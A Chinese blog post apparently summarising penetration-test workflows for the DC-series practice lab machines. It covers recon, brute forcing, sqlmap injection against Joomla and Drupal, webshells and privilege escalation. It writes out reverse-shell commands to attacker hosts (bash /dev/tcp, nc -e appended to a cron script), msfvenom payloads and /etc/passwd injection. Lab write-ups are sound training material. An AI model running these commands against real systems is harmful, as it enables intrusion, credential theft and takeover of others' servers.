DC系列靶场渗透测试流程总结

信息收集

地址探测

因为我们是在内网环境中所以我们使用arp地址探测

通过arp-scan地址探测,目标主机IP地址为172.30.1.140

端口扫描

masscan扫描

好处就一个字快

--adapter-ip  //指定网段

--rate=1000  //指定发包的速率

-p 1-65535     //对所有端口做扫描

Nmap扫描

使用Nmap对目标主机进行端口扫描

目标主机只开放了80端口,所以我们突破点就在80。

-sS  Nmap默认扫描类型,SYS的秘密扫描

-sV  服务版本检测

-T4  野蛮扫描(常用)

-p-  对所有端口进行扫描

-O   识别操作系统类型 (大O)

目录枚举

gobuster枚举

从目录结构应该确定这是一个wordprassCMS

dirbuster枚举

使用dirbuster进行目录枚举,dirbuster中自带有字典

选择Results-Tree Vlew模块可以到网站目录的架构

这里看到一个footer.php,这是一个网站页脚的程序文件。

还看到contact.php,这个是网站的留言板,也就是网站交互式的地方。

http探测

使用Wappalyzer插件可以到这是Joomla的CMS。Joomla!是一套全球知名的内容管理系统(CMS)Joomla的架构基于MVC框架。

探测网站架构

访问网站先看网站架构,寻找交互式的地方,看看是否有CMS的遗漏。

burp suite探测http头部

HTTP代理(Proxy)——它作为一个 Web 代理服务器运行,并且位于浏览器和目标 Web 服务器之间。这允许拦截、检查和修改在两个方向上通过的原始流量。

通过http的头部我们得到的信息

Server:Apache/2.2.22(Debian)

PHP语言 5.4.45版本

Drupal版本7

浏览器插件

Wappalyzer是一个跨平台的工具,可以揭示网站使用的各种技术。它能够检测内容管理系统(CMS)、电商平台、Web框架、服务器软件、分析工具等。简单来说,就是一键看穿一个网站的底细。

Whatweb

使用whatweb对目标主机进行CMS扫描

这里看到是Drupal

漏洞检测及利用

漏洞查找

第一种方法:

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers 直接搜索名字可以加版本号

第二种方法:

使用google hacking搜索语法

第三种方法:

使用Metasploitable搜索存在的漏洞并直接利用

使用search 搜索是否有这个版本的漏洞

找到之后可以使用编号,也可以使用全部名称

使用options查看该模块的选项

RHOSTS代表目标主机

Required中yes是模块中必须有值,no就代表可有可无。

LHOST代表侦听主机,LPORT代表端口号,端口号要根据实际情况而改变。

set给LHOST赋值

set给RHOSTS赋值

exploit启动模块进行攻击

Metasploitable的基本使用命令

Meterpreter的基本使用命令

字典工具

cewl字典生成器

CeWL ( Custom Word List generator)是一个用 Ruby 编写的自定义单词列表生成器,旨在将关键字从指定的 URL 提取到给定的深度。

这些关键字可作为密码破解工具的潜在条目,例如 John the Ripper, Medusa, and Wfuzz。

也就是cewl通过爬取网站生成字典文件。

用法很简单,cewl 选项 URL地址

-d 爬取的深度         默认为2

-m 生成密码的最小长度  默认为3

-w 保存写入指定的文件

-e 包括电子邮件地址

-c 计算单词在网站重复的次数

--with-numbers 生成的密码中包含数字

也可以-c计算单词在网站中出现的次数

-e 爬取网站中的电子邮件地址

              --with-numbers   生成的字典中包含数字,有些网站没有数字所以爬不出来

这里就是通过爬取网站生成的字典文件

暴力破解

使用Burp suite

猜解用户名为admin,密码随便写。

通过Burp suite抓包看到我们输入的参数,下面使用重放模块进行爆破。

把数据包发送到intruder模块中,快捷键ctrl+l。

选择攻击类型,这里有四种攻击类型

【sinper】狙击手:对单一参数进行密码爆破

【battering ram】撞锤:对所有参数进行同一个变量爆破(如用户名和密码一样)

【pitchfork】鱼叉:对所有参数进行一一对应爆破,传递两个参数两个字典,一一对应。

【cluster bomb】集束炸弹:对参数进行交叉爆破,常用用于不知道账号密码的情况

这里使用第一种攻击狙击手,对单一参数进行爆破

选中密码,点击add添加变量。

设置payloads

Payload set我们只对密码进行爆破所以这选择1

Payload type这里我们使用字典文件所以选择Payload type

如果是社区版的Burp suite现在就可以进行攻击

专业版是可以指定攻击的线程的,我这里指定的100,好像社区版线程是10吧。

点击Start attack开始攻击。

因为我使用的字典文件很大,我们这时候可以根据长度来分辨哪个是密码,因为正确密码只有一个,我们可以点length来区分真密码,我们看到密码是happy

用户名:admin

密码:happy

SSH暴力破解

使用hydra进行ssh爆破

-L   //指定用户名字典

-P   //指定密码字典

User:janitor  passwd:Ilovepeepee

CMS配置文件

Drupal

案例:

官方文档中查找一些关于drupal7的密码恢复之类的文件。包括官方的文档,也下载源码做代码审计。

https://www.drupal.org/node/1023428    这个网址就是Drupal7的官方密码重置方法。

根据这个文档进行更新admin用户的密码

首先再网站根目录下执行  ./scripts/password-hash.sh 123456

我们首先利用Drupal的加密方式生成123456的加密后的值

我们把这个Hash值先复制下来,然后去mysql中更新密码。

Wordpress

Wpscan
用户枚举

Wpscan:是一款开源的命令行工具,‌专门用于扫描和识别WordPress网站中的漏洞和安全问题。‌

-e ,--enumerate枚举

       枚举用户 u

       枚举有漏洞插件 vp

我们通过wpscan找到了三个用户名,分别为admin、jerry、tom。

密码字典文件有了,用户名字典文件也有了,我们进行暴力破解。

暴力破解

首先分写入用户名,保存为user.txt

然后我们使用wpscan进行暴力破解

-P 指定密码字典

-U 指定用户字典

--url  指定URL

Parturient    adipiscing

得到了jerry用户的密码和tom用户的密码

扫描过时插件

Wpscan对目标主机进行插件版本扫描--plugins-version detection

这个插件最新版本是20180826,目标主机使用的是20161228版本

漏洞搜索

使用searchsploit对插件进行漏洞搜索

下面这两个都需要得到认证才可以利用,我们已经拿到认证了,就是网站的后台。

将html镜像到本地主机

编辑文件

注意:原文件中的8000端口要删除,不然会自动转到8000转口。

         原文件中nc -nlvp 要改成 nc -nv

根据nc得端口开启侦听

修改完成后我们放到本地主机得web中。然后开启apacha2服务器。

直接访问本机web服务器,例:172.30.1.20/45274.html

点击按钮提交

在我们侦听得端口就看到这里已经拿到目标主机的shell权限了

Joomla

JoomScan

介绍一款专门针对Joomla的开源工具JoomScan

JoomScan是一个开源的漏洞扫描器,‌主要用于自动化检测Joomla CMS的安全漏洞,‌以增强Joomla CMS开发的安全性。‌

用法很简单 joomscan 选项 我们可以直接joomscan -u 目标主机

通过扫描我们看到这是Joomla 3.7.0的版本,找到了一个网站管理后台。

Joomla3.7.0

第三个就是Joomla 3.7.0b版本SQL注入的漏洞

SQL注入

什么是SQL注入呢?

SQL注入漏洞:

SQL注入攻击指的是通过构建特殊的SQL输入语句,传入Web应用程序,而这些输入大都是SQL语法里的一些组合,

通过执行SQL语句而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

我们可以进去看看这个漏洞

这里直接是可以看到sqlmap的执行语句,我们可以直接复制,改为目标主机的IP地址就可以。

sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

我们看到这个数据库中有个joomladb的数据库

sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

我们应该关注users这个表中的数据

sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -T '#__users' --columns -p list[fullordering]

现在我们看到了中的字段,我们再对字段中的数据进行查询

sqlmap -u "http://172.30.1.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -T '#__users' --columns -C password,username --dump -p list[fullordering]

我们现在看到了后台管理员用户名还有一段加密的密码。

看一下这段密文是什么加密算法

密码破解

John the Ripper是一款开源密码安全审计和密码恢复工具,可用于许多操作系统。

我们使用款开工具进行解密,操作方法。

问题

在使用john破解时可能会遇到报错

这种错误是因为没有指定

解决方法:john --format=crypt passwd.txt

创建木马

方法1:msfvenom

msfvenom -p php/meterpreter/reverse_tcp lhost-172.30.1.142 lport=4444 -f raw -o webshell.php

在模板里新建PHP文件类型,文件名为webshell3

msf> use exploit/multi/handler

msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp

msf exploit(multi/handler) set lhost 172.30.1.142

msf exploit(multi/handler) set lport 4444

msf exploit(multi/handler) exploit

访问一下我们上传的木马路径

http://192.168.195.138/templates/beez3/webshell3.php

这样我们就成功拿到shell

方法2:weevely

Weevely 是一个专为post-exploitation(后渗透利用)目的而设计的 Web Shell,可在运行时通过网络进行扩展。

它是一个PHP后门生成工具

将 weevely PHP 代理上传到目标 Web 服务器以获取远程 Shell 访问权限。

它有 30 多个模块,可协助执行管理任务、维护访问权限、提供态势感知、提升权限并传播到目标网络

root@kali3:~# weevely generate xiaofeixia webshell.php

generate            Generate new agent  生成一个代理(木马程序)

weevely http://192.168.195.138/templates/beez3/webshell.php xiaofeixia

成功连上拿到shell

Kali端运行:

nc -lvp 2266 

weevely用户端 bash -c 'bash -i >& /dev/tcp/192.168.195.77/2266 0>&1'  //获得一个交互式shell

利用日志GET到SHELL

对根目录的请求包写入一句话木马,看到响应码是400,不用管

DC-5使用的是nginx,默认日志路径/var/log/nginx/access/log

写入后访问是可以看到的,如果看不到就是访问次数过多,日志文件可能满了。

我们可以通过&进行传参到CMD执行系统命令。

查看目标主机是否有nc,看到这里是有的。

获取shell

使用nc获取shell

Kali主机做侦听

目标主机主动连接kali

文件包含

文件包含漏洞:

文件包含漏洞通常出现在编写糟糕的PHP web应用程序中,其中输入参数没有得到正确的处理或验证。

因此,攻击者很容易捕获传递的HTTP请求,操纵URL参数,该参数接受文件名并将恶意文件包含在web服务器中。

原理:

服务器执行PHP文件时,可以通过文件包含函数加载另外一个文件(参数),另外一个文件中的PHP代码就会被执行,

这是在Web开发时,代码常用的一种处理方法。

页眉页脚变化

在访问目标主机的网站没有思路时,可以看一下网站的架构

随便编写提交看一下有什么不一样的地方。

提交后重定向到thankyou.php的文件中,随着不断刷新,看到页脚的版本在发生改变,这个就是文件包含漏洞啦

直接访问thankyou.php的效果也是一样的,也就是thinkyou.php调用了footer.php

形式为:http;//172.30.1.132/thanyou.php?file=footer.php

验证

我们可以验证下一是否存在文件包含漏洞呢?

看到是可以看到目标主机的账户文件的。

社会工程学

访问目标网站

提示说暴力破解或者字典攻击是不能成功的,要跳出这个常规思维

GitHub社工

我们在网站的页脚看到有个名称,那我们可以对这个名称进行社工。

代码审计

将源码下载后进行代码审计

看到源码中有config的文件,这个肯定是配置文件,可以看一下。

username = "dc7user";

password = "MdR3xOgB7#dW";

看到有个用户名和密码,去网站登录发现登不上。

扫描端口的时候看到开放了22端口,尝试一下通过ssh登录。

获取shell

通过ssh登录

登录成功啦

程序漏洞

drush程序

Drush 是一个用于 Drupal 网站管理的强大命令行工具。通过 Drush,开发者可以在终端中执行常见的 Drupal 操作,如安装、更新、清理缓存等,极大地提高了开发效率。

drush全称drupal shell,是drupal基于命令行的工具,常用命令:

$ drush cr  各种清缓存

$ drush pm-enable 安装module

$ drush pm-uninstall 卸载module

$ drush pm-list  显示所有modules and themes列表

还可以更改用户名密码

更改admin的密码,这时候我们去网站尝试登录,发现登录成功。

登录到后台尝试写入木马

通过安装PHP模块

Manage>Extend>List>Install new module

启用PHP Filter模块

下方有个Install按钮

测试PHP filter模块是否能正常使用

其目的是允许执行php代码的页面

使用msfvenom 生成php木马

写入

使用msf侦听获取shell

还是刚才那个脚本,因为这个脚本文件使用root权限执行。

SQL注入

判断是否存在SQL注入漏洞

在点网站的细节时发现URL发生了改变,?nid=3,问号传参,这种URL极有可能存在SQL注入漏洞。

初步验证是否有SQL注入漏洞,直接在URL后边加个 ‘ 如果报错那就是被系统执行了,没有进行过滤

加上 ‘ 之后发现报错了,通过报错还看到了查询语句。

漏洞利用

Sqlmap扫描注入点

查看这里存在一个布尔盲注直接爆破数据库

爆破到两个数据库,关于网站那就是d7db这个库

爆破出一大堆数据表,我们关注的肯定是users用户这个表这个表

指定users这个表,列出表中的列

爆破出表中的列后,指定列再爆破列中的字段

得到admin、john这两个用户还有加密的密码

将这两个用户名和加密的密码,写入到一个文本文件中。

破解密码

直接使用john进行破解密码

得到john用户的密码,username:john  passwd:turtlu

搜索框、表单SQL注入

这种表单非常容易受到SQL注入的攻击。

我们复制捕获的请求并将其粘贴到一个文本文件中,并将其命名为DC9.txt。我们这样做是为了将捕获的请求与sqlmap一起使用。现在,我们将启动sqlmap来检查搜索表单是否容易受到SQL注入的攻击。

SQL注入攻击

对保存的文本文件进行SQL注入攻击,爆破数据库

-r 指定Burpsuite保存的地址

获取数据库中的所有记录

--dump—all //获取数据库的所有记录

这里不知道咋回事,显示了明文密码,可能是破解过的原因吧

看一下这个密码是什么加密方式,这是一个交互式的。

MD5报文摘要算法加密的

MD5破解

免费破解MD5网站

破解到密码为:transorbital1

rbash逃逸

我们在使用命令的时候发现不能执行,没有这个命令,还发现了一个-rbash

什么是rbash?或 /usr/bin/lshell

受限shell是Linux Shell限制一些bash shell中的功能,并且是从名字上很清楚。 该限制很好地实现了命令以及脚本在受限shell中运行。它为Linux中的bash shell提供了一个额外的安全层。

主要是因为管理员给tom用户限制了bash,我们可以通过环境变量看一下,我们tom用户可以使用哪些命令

我们只能使用这四个命令,那我们可以逃逸限制

方法:利用系统常见应用逃逸

[1]ftp

[2]more  //分页查看

[3]less   //分页查看

[4]man  //查看帮助

[5]vi

[6]vim

以上在输入的地方输入!/bin/sh 或 !/bin/bash,只要有交互式我们就可以进行逃逸。

我们是可以使用vi的,所以我们通过vi这个命令来进行逃逸。

Vi随便编辑一个文件

回车在回车输入shell回车

我们就得到成功逃逸了

根据不同的场景使用不同的方法

rbash逃逸大全 - 先知社区

端口敲门

这是我们偶然发现的knockd.conf。这意味着涉及到端口敲门。我们可以看到在这里用一个序列配置了openSSH。我们注意到这个序列,并按此序列敲打SSH端口,以启动并运行它。 这个想法非常安全。

需要分别7469,8475,9842这个三个端口。说白了就是审讯这个三个,让22端口来就他们。

这个直接使用nc -z 敲打一下这个三个端口。

再次扫描发现果然这小子open了。

提权

信息收集

这个信息收集是提权之前的信息收集,这个信息收集非常重要,信息越多我们的攻击面也越多。

(1)IP地址

(2)当前用户

(3)内核版本

(4)开放的端口

(5)进程

(6)账户信息

(7)主机名

(8)任务计划

crontab -l

(9)敏感文件

grep “passwd” -R /

(10)发行版本

(11)列出当前用户可以通过sudo执行的所有命令

(12)查找具有SUID权限的文件

提权方法

命令提权参考 GTFOBins

git提权

Git(读音为/gɪt/。)是一个开源的分布式版本控制系统,可以有效、高速的处理从很小到非常大的项目版本管理。Git 是 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的一个开放源码的版本控制软件。

GIT提权原理:

原理是git配置不当存在溢出,溢出的部分如果输入一个交互式窗口就会有交互,类似于suid那样,暂时拥有root,又写了一个交互,就真的有了root的交互。

git 的帮助信息中有一个-p | --paginate选项

这个-p的意思就是以分页的形式展示git的帮助信息,但是这里他会默认调用more来进行展示。

​编辑

sudo git -p

​编辑

!/bin/sh

我们再交互式的中输入!/bin/sh,可以看到我们的命令提示符变成了root。

内核版本提权

表示系统发行版本和内核版本》找到匹配的版本exp》exp传输到目标主机》一般传输到tmp目录(临时文件),执行payload。

典型Linux漏洞:脏牛漏洞

Ubuntu 16.04
查找漏洞

使用searchsploit 查找Ubuntu 16.04版本的漏洞,找到关键字为Privilege Escalation 权限提升的

加上-w来获取页面信息

直接访问

漏洞利用

最下面有个漏洞利用镜像,使用wget下载到本机

但是我们运行必须要再目标主机运行,所以我们可以直接上传。

方法一

使用python架设一个简易的web服务器

使用wget进行下载(这里我们要访问kali的IP地址,因为我们是在kali中架设的)

方法二

使用nc

我们的目标主机做侦听端输出重定向

Kali主机输入重定向到目标主机 -q 1 完成后断开

提权

先解压39772.zip的压缩文件

我们进入39772这个目录下看到有两个用压缩文件

tar文件解压tar xf 文件名,解压之后就我们得到了新目录

进入这个新目录看到四个脚本文件

运行./compile.sh得到doubleput后运行

看到we have root privs now ..就等于拿到root权限了

teehee提权

可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件我们可以借助teehee往passwd写入一个root账号即可得到root权限查看一下这个命令的帮助手册,使用-a参数在/etc/passwd文件里面新建一个有管理员权限的用户

账户文件格式

我们要先了解账户文件的格式

写入之后我们直接登录

/bin/screen-4.5.0文件提权

查看SUID权限的文件

这里有一个/bin/screen-4.5.0的文件。

使用searchsploit搜索提权漏洞

提权

将漏洞文件镜像到本地主机

dos2unix命令用来将DOS格式的文本文件转换成UNIX格式的(DOS/MAC to UNIX text file format converter)。DOS下的文本文件是以\r\n作为断行标志的,表示成十六进制就是0D 0A。而Unix下的文本文件是以\n作为断行标志的,表示成十六进制就是0A。DOS格式的文本文件在Linux底下,用较低版本的vi打开时行尾会显示^M,而且很多命令都无法很好的处理这种格式的文件,如果是个shell脚本,。而Unix格式的文本文件在Windows下用Notepad打开时会拼在一起显示。因此产生了两种格式文件相互转换的需求,对应的将UNIX格式文本文件转成成DOS格式的是unix2dos命令。

run.sh格式转换,每个操作系统以字符表示结尾的时候是不同的,查看脚本文件若每行结尾为 ^M

则需要使用命令 dos2unix run.sh 将其转换一下

https://blog.csdn.net/weixin_45221204/article/details/139182557

使用python搭建一个简易Web服务器

使用wget下载脚本文件

给该脚本添加执行权

运行脚本

Nmap提权

敏感文件

查看系统的账户文件

发现这里有四个用户

Graham用户

Mark家目录下有个文本文件,内容就是有个用户graham账户文件中是有这个用户的,后面的很可能就是这个用户的密码。

现在已经登录成功

使用graham用户查看sudo的使用权限,看到jens用户可以不用输入密码执行backups.sh脚本。但是我现在是graham用户。

提权

jens用户

这里是一个脚本文件,如果这是一个命令就不好办了。

尝试在脚本中添加一个shell,这和任务计划提权是差不多的。

方法很简单直接追加或者写入

指定jens用户运行该脚本

这样就拿到了jens用户的shell

看到jens用户有Nmap的sudo授权

Nmap是可以通过sudo进行提权的,直接复制命令

(b)是要求版本的   (a)这个是可以直接使用的

任务计划提权

邮件

这里看到有好多邮件

而且每个邮件相隔15分钟,应该是个脚本文件。

输入1,先查看第一个邮件

还真是个脚本文件,路径是/opt/scripts/backups.sh,看一下这个脚本

nc反弹shell

echo 'nc -e /bin/bash 172.30.1.20 7777' >> /opt/scripts/backups.sh

kali端做侦听

Exim提权

Exim是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。该软件主要运行于类UNIX系统。通常该软件会与Dovecot或Courier等软件搭配使用。Exim同时也是“进出口”(Export-Import)的英文缩写。

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers

漏洞查找网站

漏洞搜索

将文件镜像到本地

searchsploit -m  linux/local/46996.sh

使用python搭建一个建议的web服务器

python -m http.server 8888        (python3)

漏洞利用

下载:wget http://192.168.195.76:8888/46996.sh​编辑

dos2unix 46997.sh给文件更改为unix文件

给文件加入权限

运行脚本 -m netcat简称nc

nc 127.0.0.1 31337

等待连接。

脚本提权

发现这里有个脚本文件可以无密码以root用户权限执行,我们进入/opt/devstuff/dist/test目录下先看看有什么信息,全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件

查看脚本的内容

提权

这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限,事先参考/etc/passwd解释

先利用openssl命令创建一个密码,得到hash密码我们切换到tmp目录下,新建一个文件再回到/opt/devstuff/dist/test目录,执行程序test,将xiao的文件内容写入到/etc/passwd文件里面可以看到xiaofeixia用户已经添加到/etc/passwd文件里了,接下来然后使用命令su - xiao切换到我们添加的xiao用户,输入之前设置好密码即可登录.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽子二三

您的鼓励是我最大的前进动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值